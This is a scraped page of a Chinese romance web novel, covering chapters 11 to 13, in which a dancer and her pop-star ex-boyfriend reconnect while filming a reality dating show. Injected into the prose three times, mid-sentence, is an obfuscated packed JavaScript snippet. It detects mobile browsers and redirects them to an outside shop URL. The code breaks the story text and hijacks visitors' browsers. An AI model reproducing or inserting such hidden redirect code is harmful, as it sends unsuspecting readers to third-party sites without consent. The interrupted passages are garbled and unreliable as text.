时缈伸手戳了戳她的额头,故意板下脸:“好啊,不好好训练天天看综艺是不是?今天所有人的基本功训练加两组。” “别啊时老师——” “我们错了——” 待舞者们乖乖按部就班地开始了今天的训练后,站在门口看了一会儿热闹的团长将时缈叫出来,带到自己办公室,递给她一杯还冒着热气的红茶:“不是说好放你一个月的假吗?” “舞团就是我的家,我这不是想家了嘛,”时缈眨眨眼,“再说了,其他人都去忙自己的事情了,我待在那个别墅里闲着也是闲着,还不如来团里看看排练情况。” “新剧目计划得怎么样了?”团长继续问道。 时缈将自己目前的想法和团长进行了一番交流,两人在办公室里聊了好一阵,直到包里的手机嗡嗡震动起来,时缈才发觉,已经到了中午下班时间。 在剧院门口和团长道别,时缈连忙往和闺蜜顾梦瑶约好的餐厅赶。 午餐地点是顾梦瑶提前订好的。 是江城一个颇为有名的庄园式西餐厅,不少杂志、影视剧都曾在这里取景拍摄,订位至少需要提前三天。 由于常常会有明星出没,因此西餐厅不论是服务、环境还是私密性都做得极好。 层层屏风和纱幔将餐厅划分成一个个分散的小区域,既让客人能够欣赏到庄园内部的美景,又保证了客人们之间的谈话不会被无关人员打扰。 “好啊时缈,参加了节目之后腕儿变得这么大啦。” 刚坐下,就见顾梦瑶一手捂着胸口,满脸哀怨地看着她:“现在连我约你都要排队了是不是?” “那当然,以后想见我请先和我的助理预约时间。” 时缈推了推脸上不存在的墨镜,假装摸出一张不存在的名片,两根修长的手指抵在桌面上,将那张空气名片推向顾梦瑶。 姐妹两人互相对视一眼,彻底绷不住,笑了出来。 “感觉怎么样?”顾梦瑶扫了一下桌上的二维码,一边翻电子菜单一边问。 “什么怎么样?”时缈装作听不懂的样子,低头观察起杯中的柠檬片。 顾梦瑶哼笑一声:“别人看不出来,我还能看不出来?” “看你那神游天外魂不守舍的样儿,那位跟你说什么了?” 时缈笑意不变:“没说什么啊,就是正常交流。” “我们说好了,就当第一次认识,绝对不会让观众发现的。” “唉,谁能想到咱们点儿这么背啊。都说那位是个不爱接综艺的主儿,怎么偏偏突然跑来录恋综了?” 顾梦瑶撑着下巴,忽然福至心灵,抬头猛得望向时缈:“该不会冲着你来的吧!?” 时缈伸手,比了个“暂停”的手势:“打住。我可没这么自恋。” “我们录制前完全不知道明星观察团的成员究竟有哪些人,说不定他们也是一样呢。”时缈认真道,“按我对他的了解,如果他提前知道了,肯定就不会接这个综艺了。” “那照你这么说,反正他有钱,为什么不退出录制啊?”顾梦瑶思索了一下。 “中途反悔可能会影响路人缘吧,”时缈耸肩,“显得他很没有契约精神什么的。” “好吧,不懂他们娱乐圈,”顾梦瑶摇摇头,“反正看到节目直播的我只能感叹一句,这该死的缘分啊。” “孽缘。”时缈扯了扯嘴角。 “他不会为难你吧?毕竟你当初的做法也挺绝情的。”顾梦瑶有些担忧。 一个明星,而且还是个粉丝体量很大的顶流明星,如果想要欺负一个素人,简直再容易不过了,随便发些模棱两可的通稿,都可能让无权无势的普通人陷入一场惊天动地的网暴。 “他不至于。” 时缈摇摇头。 许钧闻这人,虽然性格桀骜棱角分明,但不至于恃强凌弱,用自己现在的明星能量去刻意欺负她这么个不重要的小人物。 “反正我觉得他在节目里对你的态度阴不阴阳不阳的,”顾梦瑶撇撇嘴,“我就怕他的粉丝过分解读,不分青红皂白地跑来攻击你。” 时缈失笑:“他心情不好的时候见谁怼谁,好几个嘉宾不都碰了他的钉子?再说了,就算粉丝真的断章取义,衍生出一些不好的言论,他也会及时制止的。” 顾梦瑶对时缈话里的肯定意味叹为观止:“你们都分手这么长时间了,你就这么确定他还是你了解的那个人啊?” 时缈短暂地愣了一下。 而后笑着摇了摇头。 “不确定,人都是会变的。” “但我还是愿意相信,他一直是个很好的人。” 时缈还记得她出国的第二年,刷到过一个许钧闻参加的综艺片段。 那时候的许钧闻还没有大红,在综艺里也只是一个镶边的存在。 但面对节目中某位在圈里颇有地位的mc刻意为难新人女爱豆的情况,在其他人面面相觑却都默不作声的时候,是许钧闻主动站出来,为女爱豆解了围。 尽管后来,网上有小道八卦说,那次节目录制结束后,那位mc前辈曾在很多公开场合明里暗里地打压过许钧闻。 但时缈相信,即便早就知道替人出头后会影响到自己的发展前途,重来一回,许钧闻还是会那么做的。 “时缈,你坦白交代。” “你到底还有没有对你的那位前男友念念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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出了房间,时缈发现,嘉宾们已经回来得七七八八,白日里空档安静的别墅被各种声音填满,尽管四周都是机器和摄像头,却还是显出了几分真实的烟火气。 “你们两个现在抬头不见低头见的,祝你好运吧我的姐妹。” 午间顾梦瑶的话言犹在耳,时缈低头数着楼梯一阶一阶地往下走,视野里不期然的出现了一双灰色拖鞋。 时缈抬头,和单手揣兜正往楼上走的许钧闻对上视线。 时缈一米七二的身高在女生中已经算是比较高的,但站在一米八六的许钧闻面前,也只有在这种时候——她站在比他高两三级的台阶上的时候,才能堪堪平视他。 “许老师刚回来?”时缈扯了个笑,快速扫了一眼拐角房顶上挂着的摄像头。 象征着“正在工作中”的小红点并没有闪烁,意味着这时候节目组还没有开启今天的直播。 “嗯。”许钧闻沉着脸,目光凉凉地落在时缈脸上。 时缈是天生跳舞的料子,身形纤细脖颈修长,巴掌大的小脸上一双杏眸像是含着一汪清透的春水,只是安静地站在那里,就像是带着故事从画里走出来的一样。 以前她总是习惯把长发高高挽成一个丸子头,连额前的碎发都被一丝不苟地贴着发顶梳上去,露出饱满圆润的头型。但现在,大部分时间里她为了方便,只是随意将头发抓起来,用一只豆绿色的抓夹夹住,耳畔垂下几缕发丝,随意慵懒尽显风情。 时缈被他看得有些不自在,抬手摸了摸自己的鼻子。 许钧闻这才收回视线,一言不发地侧过身,示意她先过。 是在催促她赶紧走吗。 时缈抿了下唇。 也是,反正这会儿也没有摄影机在拍,许钧闻也没必要和她进行虚假违心的多余寒暄。 身后另一道脚步声靠近,时缈和许钧闻同时朝来人的方向看去。 白景川一身白色衬衫加黑丝西裤的经典搭配,鼻梁上挂着一副无框眼镜,见他们一上一下站在楼梯上,微挑了一下眉。 “都回来得这么早啊,”白景川看向许钧闻,“许老师这是要上楼?” 许钧闻“嗯”了声,就听见白景川继续对时缈说:“刚好我也下去,一起?” 时缈忙不迭点点头。 路过许钧闻身边的时候,身子也学着他的样子,极力向另一侧偏了过去。 两人之间余出一道泾渭分明的空隙。 只是窄窄一段,却又一眼看不到头。 待两人从他身边走过,许钧闻回头,看着一前一后两道身影,忍不住用牙齿轻轻碾了碾舌尖。 搭在扶手上骨节分明的修长手指不耐烦地敲了敲,在时缈的身影彻底消失在拐角处之前,许钧闻开口,叫了她的名字:“时缈。” “嗯?”时缈回头,“什么事?” “……” 什么事?没什么事就不能叫她了? “昨天买的甜品不错。” 许钧闻转了个身,朝楼下走去,站定在距离时缈两级台阶之上的位置。 位置掉转,许钧闻自上而下地睨了一眼停下脚步等在时缈身旁的白景川,只觉得他碍眼。 “我打算让助理给团队工作人员定那家作为下午茶,”许钧闻从口袋里摸出自己的手机,解锁,调出自己的二维码,“加个好友,店铺发我。” 话音刚落,许钧闻乜了一眼一旁的白景川,勾了个散漫的浅笑: “节目组只说你们素人嘉宾之间不能加联系方式,可没说不让观察团加啊。” 11. 11首情歌 许钧闻动作丝滑自然地将自己的微信二维码递到了时缈的面前。 时缈愣了一下,下意识就顺着他的话拿出自己的手机,却在打开软件之前忽然想起了一件事情—— 当年和许钧闻分手的时候,她是先删除了他的微信之后,又把他的微信号拉进了黑名单。 也就是说,她如果要加回许钧闻的微信,得先把他的微信号从自己的黑名单里放出来。 旁边还站着个白景川呢。 要是让白景川看见她把许钧闻的微信从黑名单里放出来,恐怕很难不对她和许钧闻之间的关系产生各式各样的猜测。 “要不我直接加你助理?”时缈干笑了一下。 许钧闻见招拆招:“马上就要开始直播了,他不能进来。” “你要是有事的话就先去忙,等会儿吃完饭我们再加好友也是一样的。” 许钧闻看似贴心地提出了planB。 但在时缈看来,这个planB简直是个彻头彻尾的馊主意。 如他所说,等下节目就要开始直播了,她总不能当着直播间万千网友的面加许钧闻的微信吧?那样的话不可控的舆论风险岂不是更大了! 现在的网友都恨不得举着显微镜看综艺,要是被人发现许钧闻的微信之前在她的黑名单里,恐怕不出三个小时,他们两个当年的感情故事就能被考古的网友和粉丝们挖个底朝天! “现在加吧,现在加。” 时缈闭了闭眼,她感觉自己的cpu在这一刻都快被烧干了。 既然解决不了许钧闻,那就只能先解决一下目前在场的第三方目击者了。 “景川,能不能麻烦你先去厨房的冰箱,把我昨天下午冻好的百香果冰格拿出来?”时缈看向白景川,“我准备下去泡壶果茶的,冰块冻得可能会比较实不大好脱模,需要提前几分钟拿出来化一化。” 白景川推了下眼镜,目光在时缈和许钧闻两人身上逡巡了一圈,而后笑着点了点头:“好,那我先去厨房等你。” 景川。 许钧闻乜了盯着白景川背影看的时缈一眼,不爽地皱了下眉。 叫得还挺亲近。 这会儿还盯着人家背影直看。 怎么,真当他这个前男友不存在是吧? 打算在前男友眼皮子底下和别的男人发展新恋情了? 可以啊时缈,可真有你的。 只不过,时缈对于许钧闻此刻复杂的心理小剧场一无所知。 待确认白景川已经彻底走远,时缈这才慢吞吞地解锁手机屏幕。 打开微信。 找到黑名单—— 黑名单里明晃晃地躺着唯一的一个用户。 许钧闻的目光一瞬不瞬地盯着她,在看清她的手机屏幕之后,凉凉地笑了一声: “可以啊,黑名单里就我一个人,我还挺有排面的啊?” 当年窝在角落里挂断了那通分手电话后,时缈生怕自己再接到许钧闻的电话就会后悔自己此刻所做的决定,于是当机立断地将许钧闻的所有联系方式通通删除拉黑一条龙。 当时的时缈无论如何也不会想到,自己还有当着许钧闻的面把他从黑名单里放出来的这一天。 将人从黑名单里放出来,时缈打开了自己的扫码功能,对准了许钧闻手机屏幕上的二维码。 “滴。” 手机发出清脆的一声提示音。 【你已添加了Xu,现在可以开始聊天了。】 空荡荡的对话框上方,孤零零地挂着一行系统自动弹出的小字。 “好了。店铺我发给你,我还有事,先下去了。” 时缈立刻马上点开外卖软件,找到甜品店订单,将店铺分享给许钧闻,然后收起手机,逃也似的转身跑下楼。 直到时缈的身影消失在视线范围内,许钧闻才收回目光,解锁屏幕,看着出现在消息列表最上方的新对话框,勾了下唇角,这才慢条斯理地离开。 * 夜以至深。 时缈躺在床上仍然没有困意。 身旁的温璐开着床头灯,键盘规律的敲击声短暂地停了下来:“吵到你了?” “没有。” “有点睡不着,可能是下午睡多了吧。” “这样啊,”温璐给她出了个主意,“我睡不着的时候就会在某站上搜‘猫咪配餐’,这种视频的声音我感觉可助眠了,你或许也可以试试。” 时缈笑了:“前几年在国外的时候,晚上睡不着我就会找点白噪音的视频来听,可以说是异曲同工了。” “如果觉得我键盘的声音吵到你了你随时跟我说哈,”温璐担心刚才时缈的否认只是一种委婉的体面,“不用觉得不好意思。” “好。” 时缈也不推脱,闭上眼酝酿了好一阵,仍没有入睡的欲.望。 左手摸到枕头下面的手机。 时缈犹豫了半晌,还是把它拿了出来。 百无聊赖地在屏幕上滑动了好几下,那个绿色软件图标的存在感在今晚显得异常得高。 在内心进行了一番天人交战之后,时缈最终还是没有扛住内心的好奇,点开了微信界面。 她有好多条微信未读消息,明晃晃地挂在那里,其中好多都是许久不曾联系过的列表“躺尸”好友,在得知她参加恋综之后才跑来联络她的。 时缈懒得应付,通通已读不回。 往下滑了几下,一个挂着简洁明了的“Xu”的对话框出现在她视野正中央。 她并没有给许钧闻改备注。 要搁在以前,许钧闻必定是要阴阳怪气地把这事拎出来念叨好几句,然后将她扣在怀里,直到时缈把他的备注改成“男朋友”才肯罢休。 时缈的视线落在许钧闻的头像上。 一时间忘记了自己的下一步动作。 四四方方的小框里,一个修长利落的黑色剪影占据了画面的四分之一,背后的风景被地平线分割成两种颜色。 向下是深邃的蓝,向上是弥散的黑。 时缈记得这张照片。 是他们两个刚在一起第一年的国庆假期,一起去海边玩的时候,她亲手给他拍的。 可许钧闻为什么一直没有把它换掉呢? 分手六年还在用前女友拍的照片做头像是为什么呢? 时缈不敢往下深想,更不敢发消息去问他。 既害怕听见自己期待的答案,又害怕得到自己不想要的答案。 鬼使神差的,时缈点了一下那个头像,进入了许钧闻的朋友圈。 他的朋友圈也是一如既往的干净。 空白一片。 如果不是页面上【朋友仅展示进三天的朋友圈】的字样,时缈还以为自己被许钧闻屏蔽了。 时缈从许钧闻的朋友圈界面退出来,欲盖弥彰似的刷新了一下朋友圈动态,依次给最新的几条好友动态点了赞。 ——尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177620|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管她并没有仔细看。 嗡嗡。 手机震动了几下。 两个对话框跳到消息列表的最上方,不需要点进去,时缈就可以看见两条消息的内容。 「顾梦瑶:秒赞啊?又失眠了?」 「Xu:开门。」 时缈握着手机的指节紧了紧。 尽管微信并没有“已读提示”的功能,但她却还是有些不敢点开许钧闻的消息。 要不就装睡着了没看见吧…… 正这么想着,时缈的手机再次震动。 许钧闻的又一条消息出现在屏幕上: 「Xu:知道你没睡。」 像是为了给她解释自己为什么知道她还没睡似的,时缈的朋友圈那一栏冒出了一个“①”。 时缈点进去。 再次看见了许钧闻的头像。 许钧闻点赞了一条时缈刚刚点赞过的,他们两人大学时期共同好友的朋友圈。 好吧。 半夜不睡觉点赞好友动态被前男友抓了个正着。 这下是彻底没有办法装看不见许钧闻消息了。 时缈掀开被子,欲盖弥彰地拿起床头放着的水杯。、 “我去接杯水,你要吗?”她问温璐。 “不用咯,谢谢亲爱的。”温璐没察觉到异常,摆了摆手,埋头专注于自己的工作。 时缈微微深吸一口气,拉开房间门。 门外空无一人,只有一抹月光顺着楼体拐角处的窗户溜进来,在地上留下窄窄的一片皎洁。 借着微弱的月光,时缈勉强看见了门把手上似乎挂着什么东西。 似乎是个塑料袋。 时缈左右环顾了一圈,别说许钧闻的身影了,连个鬼影子都没有看见。 她将塑料袋取下来,摸黑走到窗边仔细辨认,发现塑料袋里装着两盒舒缓贴。 许钧闻沉迷创作的时候总是不管不顾,坐在桌前抱着吉他一写就是一整天,当年时缈为了防止他因此而换上腱鞘炎,专程给他囤了好多肌肉舒缓贴。 可许钧闻往往总是忘了贴。 直到被时缈发现,在时缈蹙起眉刚要教训他的时候,许钧闻就会眼疾手快地长臂一伸,捞住时缈的腰将人抱过来,半是撒娇半是卖乖地哄着时缈给他贴上。 当年时缈是在网上做了很多功课之后才选定的这个牌子。 如今,两盒同样品牌,连包装都未曾变过的舒缓贴,被许钧闻挂在了她的房门口。 回到房间,温璐沉迷工作头都没有抬一下,时缈将舒缓贴收进自己的背包里,重新回到床上。 不管是出于礼貌还是其他的什么,她都应该向许钧闻道一声谢吧。 虽然她也不知道许钧闻为什么会觉得自己需要舒缓贴…… 只发一个“谢谢”是不是有些生硬? 但发表情包的话,他们两个现在的关系应该不是那种熟稔到可以互发表情包的关系吧? 犹豫纠结了半天,时缈敲了几下屏幕: 「时缈:谢谢。[玫瑰][抱拳]」 楼上的房间里。 盯着对话框上方的【对方正在输入……】字样等了半天终于收到消息的许钧闻,看着屏幕上的“玫瑰”和“抱拳”的系统小黄豆表情,忍不住轻笑出声。 他几乎都能想象到时缈选这两个表情时内心的纠结。 「Xu:不用。」 「Xu:就当是还给你的。」 12. 12首情歌 早起锻炼,做完最后一组拉伸,时缈盘腿坐在瑜伽垫上休息。 正擦汗时,听见有脚步声靠近。 许钧闻拿着水杯走进别墅一楼的健身区,就看见穿着浅蓝色修身运动服,坐在地上用毛巾擦汗的身影。 不知是心理作用还是舒缓贴正在发挥药效,时缈看见许钧闻的这一刻,忽然觉得腰间被舒缓贴盖住的那一块皮肤忽然有些隐隐发热。 “早。” 时缈起身,将自己的瑜伽垫卷起来。 许钧闻应了一声,将水杯放在跑步机的凹槽内,一边活动关节一边说:“还没吃早餐?” “嗯,等下就吃。” 出于礼貌,时缈问道:“要一起吗?” “可以。一杯燕麦奶拿铁,其他的你看着弄吧。” “你前两天不是还说自己改喝美式了吗?”时缈不解地看向他。 如果不是她记忆错乱的话,之前许钧闻还在餐桌上用自己手边的美式换了她面前的那杯拿铁。 许钧闻的动作停了一下。 “隔三差五换换口味,不然多腻。” …… 好吧,你们大明星换口味换得还挺快。 “好,知道了。” 他开心就好。 将烤好的面包片和果酱花生酱摆在餐桌上,时缈对着晨练结束刚冲完澡下来的许钧闻,指了指其中一杯:“燕麦奶拿铁。” 然后又端起自己的那杯:“这杯是冰美式,换吗?” 许钧闻摇头:“不必。” “你不是习惯喝美式吗,我发挥一下绅士风度,就不跟你抢了。” 时缈莫名其妙地瞥了他一眼,泄愤似地低头咬了一口抹好花生酱的面包片。 绅士风度。 好家伙,许钧闻的字典里现在居然有“绅士”这两个字了? 那前两天在镜头面前一会儿说自己不吃蛋糕,一会儿说自己不喜欢百合花的人到底是谁啊? 很快,其他嘉宾就陆陆续续下了楼。 今天白天仍然没有节目组的拍摄任务,因此别墅白天的直播摄像头尽数关闭。起床后打扮精致的罗艺亭目不斜视地从时缈身旁路过,招呼都懒得打一声,目光径直越过时缈落在了许钧闻身上。 不过想到自己之前被他呛了两回声,犹豫了一瞬,只干干地道了声“早上好啊许老师”之后就坐到了餐桌的另一边。 “早啊姐姐。” 周璨拧开一杯牛奶,拉开时缈旁边的椅子:“晚上想吃什么?” 入住第二天晚上嘉宾们公布年龄和职业的时候,四位男嘉宾中,目前研三在读的周璨和电竞选手林问都比时缈的年纪小。 不少网友都以为,在公布年龄后,周璨或许会将目光投向和自己年纪相仿的罗艺亭。可令人意想不到的是——当晚,不仅白天和时缈外出约会的薛明浩把短信发给了时缈,连白景川和周璨也都选择了继续给时缈发消息。 不仅如此,回到房间的周璨还主动询问林问是否想和自己换一下做饭的日子—— 嘉宾们做饭的分组是抽签决定的。 好巧不巧,原本抽签的结果是周璨和罗艺亭负责第三天的晚餐,而林问和时缈负责第四天。 周璨这一想法简直正中林问的下怀,两人当即愉快地决定换班。 一时间,他们房间的直播间弹幕满满都是网友们“他们超爱”的善意调侃。 “我都行,不如问问其他人有没有什么想吃的。” “我看你最近吃得都很少,是饭菜不合胃口?” 周璨想了想,凑近了几分,单手撑在时缈座椅的靠背上:“你们舞蹈演员是不是都忌口啊?要不明晚我们做一些比较清淡、高蛋白的菜吧?” 忽然拉进的距离让时缈有些不自在地向前倾了倾身子。 “小周同学拉着时缈偷偷说什么小话呢?”落座在时缈斜对面的女嘉宾朱蕴察觉到时缈细微的动作,主动加入群聊解围,“我能听吗?” “在商量明晚吃什么,”时缈朝她感激地一笑,顺势问道,“蕴总有什么想吃的菜吗?” 朱蕴比时缈大两岁,在某互联网大厂担任策划总监。 恰好她任职的大厂旗下也有一个电竞俱乐部,林问打趣地称呼她为“蕴总”,其他人便也有样学样地叫起来。 “我想想啊……” “吃火锅吧。” 许钧闻懒懒的声音插了进来。 像是没听见刚才周璨提出要配合时缈的口味吃些清淡的高蛋白食品的提议似的。 “……时缈姐,你ok吗?” 说话的是明星观察员,周璨自然不好当面反驳,于是便看向时缈,征求她的意见。 “我可以的啊,那就吃火锅吧。” “那我下午做完实验之后联系你,咱们一起去超市采购?” 想到可以一起逛超市,周璨的情绪再次高涨起来。 “不过我目前还不确定我学校那边具体几点能结束……” “录制期间你们素人嘉宾之间不是不能留联系方式吗?” 许钧闻挑眉,看上去仿佛是真的在为他们考虑似的:“你又不知道几点结束,你们打算怎么联络?让女士去你学校门口等吗?也不合适吧。” “毕竟大家现在同住一个屋檐下,总不能所有事都让你们包揽。反正我今天也没什么事,可以帮各位分担一些‘家务活’,比如,替你们去采购一些食材和生活用品之类的。” “要不我跟导师今天请个假吧……”周璨有些不甘心。 “别因为这点小事耽误了未来科学家为祖国的科技事业发展做贡献啊,”许钧闻的手指在桌面上有节奏地轻敲,搭配上他若有似无的笑音,显得整个人有种浪荡的痞帅味道,“逛超市这种事,我们去就行了。” 许钧闻将最后一点咖啡一口饮尽,喉结随着吞咽的动作上下滚动。而后他起身离席,在路过时缈时停下脚步,单手搭在时缈椅背的另一端,一双漂亮多情的桃花眼将时缈的身形圈在视野里: “半小时后门口见啊,时缈。” * 直到站在超市门口,看着头戴渔夫帽,脸上还挂着个黑色口罩的许钧闻轻车熟路地去取购物车,时缈终于还是忍不住了: “既然知道有可能会被人认出来,干嘛还要来超市这种人流量大的地方啊?” 时缈收拾好下楼,得知许钧闻已经先一步去开车了,便连忙赶到别墅的车库,生怕让大明星久等。 结果,透过主驾驶位降下的车窗,看见了一个全副武装,就差把自己眼睛也蒙起来的家伙。 虽然但是,瞥见身旁提着布袋的奶奶投来的疑惑不解的目光,时缈低着头快走了几步,和许钧闻拉开一点距离—— 他这副打扮,引来的注视似乎并没有变少,反而更多了好吧!谁家好人裹这么严实来逛超市啊? “而且,你们这行不是应该为了保护嗓子少吃辛辣油腻的食物吗?怎么突然想起吃火锅了。” “这就有些没良心了吧?”许钧闻推着购物车,大长腿一迈,轻而易举地跟上她,与她并肩,“为了不让你在全国观众面前暴露出不会做饭的真实面目,专门选了火锅这种只需要洗菜切菜然后直接丢进锅里的晚餐。” “你不应该感谢我吗?” “……” 时缈呼了口气,有些无奈又有些想笑:“我之前不是说过了吗,我现在做饭的技术比以前好多了。许……你少瞧不起人了好不好。” 好险,差点脱口而出喊了他的名字。 “哦,看来在国外学会的东西挺多啊?” 以前十指不沾阳春水的厨房小白,也不知道是从什么时候开始学会自己下厨做饭了。 许钧闻凉飕飕地乜了她一眼:“不光学会秒删拉黑了,连厨艺都有所精进了啊。” 时缈理亏。 闭嘴、安静、没有反驳。 谁让这事确实是她不对。 许钧闻见她偃旗息鼓,轻嗤一声,推着车子超过她,撂下一句:“走了,跟上。” 以前在一起的时候,他们也一起逛过超市,那时候两个人手里都没有太多的钱,买菜的时候自然是要精打细算—— “欸,”时缈看着许钧闻眼睛都不眨一下地往购物车里扔了好多袋各式各样的火锅丸子,忍不住拽了拽他的衣袖,“别买太多,吃不完。” 非节目组策划项目,费用节目组可不给报销。 “吃火锅,不就是图个什么都能吃到一点吗,这顿算我请,放心吧,这点东西还吃不穷我。”许钧闻毫不在意。 时缈沉默,缓缓松开他的衣袖。 对。 或许是这几天同住一个屋檐下的高强度碰面,让她逐渐从“前男友不仅成为顶流如今还是我的恋综观察员”的情绪中脱敏,差点忘记了现在的许钧闻已经不是六年前那个在出租屋里写新歌的许钧闻了。 许钧闻的手里捏着一包蟹籽包,转头看她:“这个吃不吃?” 时缈眨眨眼,掷地有声:“吃。” 反正是大明星掏钱,不吃白不吃。 推着满满一购物车的东西走到收银台,许钧闻问收银员要了几个塑料袋,自觉地走到付款台的另一端,将扫过条码的物品装进袋子里。 和六年前每一次一起逛超市时的习惯一样。 时缈握着购物车的把手,心头情绪格外复杂。 “愣着干什么,”许钧闻叫她,“车子推过来。” “哦。” 时缈手腕一送,购物车滑向许钧闻的方向。 好像也穿过了他们之间空白的六年时光。 “我装东西,你付款。”许钧闻打开付款码,将手机递给时缈。 “啊?” 时缈愣了一下,没接。 虽然,以前他们两个人逛超市的时候也是这样,许钧闻主动去装东西,留时缈拿着他的手机等待付款。 但是…… “快点,人家后面大爷还等着呢。” 许钧闻将手机塞到她手里,时缈不接也得接。 “微信还是支付宝?”收银员小姐姐抬头看她。 “哦,哦,支付宝。” “滴”的一声之后,屏幕上弹出了支付密码的输入界面。 时缈抬眼看了许钧闻一眼,对方似乎没有要告诉她密码的意思。 鬼使神差的,时缈指尖微动,输入了一串早就烂熟于心的数字。 支付成功。 * 节目组安排的别墅靠近城郊,因此从超市回程的路上,周围的车辆越来越少,再转过最后一个弯之后,笔直宽阔的马路上就只剩他们一辆车头也不回地向前驶去。 打从出了超市大门,时缈就一直沉默。 坐上车后更是靠在椅背上,偏过头面朝车窗。 江城的城市绿化工作曾经作为标杆成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188754|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果登上了各大官媒,至今江城文旅局的城市宣传片都是各个城市争相效仿的模板,道路两侧的树木郁郁葱葱,各色花朵点缀其中,前往别墅参加录制的路上,时缈便被道路两边的风景吸引了注意力。 可此刻,她却没有心思和兴致欣赏身边的景色。 时缈现在满脑子都是刚刚在超市里,她拿着许钧闻的手机结账的画面。 那串支付密码,短短六个数字,是两人在一起的第一个周年纪念日那天时缈给他设的。 彼时许钧闻的一首原创曲子被一家小型音乐公司看中,对方开出了一个对当时的两人来说颇有说服力的价格。 收到银行打款的那天,刚好是两人恋爱一周年纪念日。 “让我们恭喜创作人许钧闻正式进军华语流行乐坛,赚到第一桶金!” 时缈举起手中的啤酒罐,表情比许钧闻本人还兴奋。 “这会儿不说吃烧烤喝啤酒会发胖了?”许钧闻宠溺地笑笑,同她碰了一下杯。 “今天开心嘛,可以破例一下下,”时缈吐吐舌头,还不忘叮嘱他,“你少喝一点哦。” “我今天也开心嘛,”许钧闻放下酒罐,挑出一串烤土豆递到时缈嘴边,“今天除了庆祝我卖出第一首歌之外,还有一件更加值得庆祝的事情。” “让我们祝时缈小姐,和许钧闻先生恋爱一周年纪念日快乐。” “快乐快乐,也祝许钧闻先生和时缈大美女恋爱一周年快乐~” 时缈一边笑,将自己早就准备好的礼物从身后拿出来——是一张许钧闻中意了很久却一直没舍得买的黑胶唱片。 “我的礼物呢?”时缈朝他摊手,“刚不是说有惊喜送给我嘛?” “急什么。” 许钧闻捏了捏时缈的脸颊:“就想着要礼物是不是?” “嘿嘿,当然不是啦,能和未来的大歌手、作曲家谈恋爱已经是我收到过最好最好的礼物啦,没有之一!”时缈吐了下舌头,满眼期待。 “喏。” 许钧闻点开自己的手机,将它放到时缈手里。 时缈看着手机屏幕上,支付宝的软件界面,一头雾水:“什么啊?” 随即想到了什么,摆摆手:“可别说什么要给我清空购物车之类的话啊?没那个必要,虽然你现在赚钱了,但还是要合理规划开支的。” 许钧闻揉了揉她的脑袋,被她小管家婆的样子可爱到,伸手将她揽进怀里:“不是要给你清空购物车。” “是要把以后家里的财政大权全都交给你。不光是今天赚到的这所谓的‘第一桶金’,还是将来的‘第二桶金’‘第三桶金’……统统都是我娶你的聘礼。” “……”时缈被他的话说得耳根发烫,埋在他怀里,戳了戳他紧实的腰腹,闷声道,“画什么大饼呢,我什么时候说要嫁给你了吗?” “哦。” 许钧闻捏捏她的后颈,笑得浪荡:“那我明年再问一遍。” “那我要是明年也没答应嫁给你呢?”时缈忍笑。 许钧闻理所当然:“那就后年再问咯。” “你要是一直不答应,我就把你的名字写进我将来的每一首歌里,让所有听过我的歌的人都知道,时缈这个人,被许钧闻定下了。我看有谁还敢跟我抢的。” 时缈仰头:“喂,许钧闻,你这未免太霸道了吧?” 许钧闻趁势低头亲吻她,话音在唇齿间被碾成一段一段的碎音:“你是第一天才知道吗?” 最终在许钧闻的步步紧逼下,时缈承受不住缴械投降,挂着薄汗的脑袋偏过去,颤着手指在许钧闻的怀里给他的账户设置了一个新的支付密码。 她没想到。 这个密码到现在许钧闻都没有换掉。 明明他的手机已经是最新的款式了。 明明他有足足六年的时间将她留下的痕迹一点一点全部抹掉。 微信头像也是。 舒缓贴也是。 支付密码也是。 “为什么?” 时缈轻声问。 “什么?” 许钧闻单手打着方向盘,另一只手臂屈起搭在车窗沿上。 风涌进来,将他身上淡淡的薄荷味和她身上的玫瑰香气拧在一起,难舍难分。 “你的支付密码……” 时缈觉得自己喉咙发紧,每个字说得都异常艰难:“还有你的微信头像,和昨晚的舒缓贴。这么多年了,怎么一直都没换啊?” “为什么?” 许钧闻哼笑一声,在指示灯变成红色的时候,稳稳当当地停在了停车线前。 他侧过头,目光锐利,包含着很多时缈看不大明白的复杂情绪。 在时缈的想象中,许钧闻和她提起当年时的情绪应该是愤怒、嘲讽,甚至痛恨才对。 明明许钧闻才应该是得意的那一个—— 他如今,光环加身、功成名就,早就不是当初那个和家里闹掰之后要靠在酒吧驻场维持生计的落魄少年。 时缈见证过他事业和梦想的低谷,又在黎明将至前将他毫不犹豫的甩下。 再见时,她应该自惭形秽、悔不当初,而他作为胜利者,就应该居高临下地挖苦讥讽她,让她意识到自己当时究竟做了一个多么错误的决定。 可她偏偏从许钧闻的话里听出了几分放任自流的无奈。 “大概是因为——” “我比你长情吧?” 13. 13首情歌 长情。 前任之间谈什么长情。 时缈被许钧闻这句话打了个措手不及。 “用习惯了,就懒得换了。” 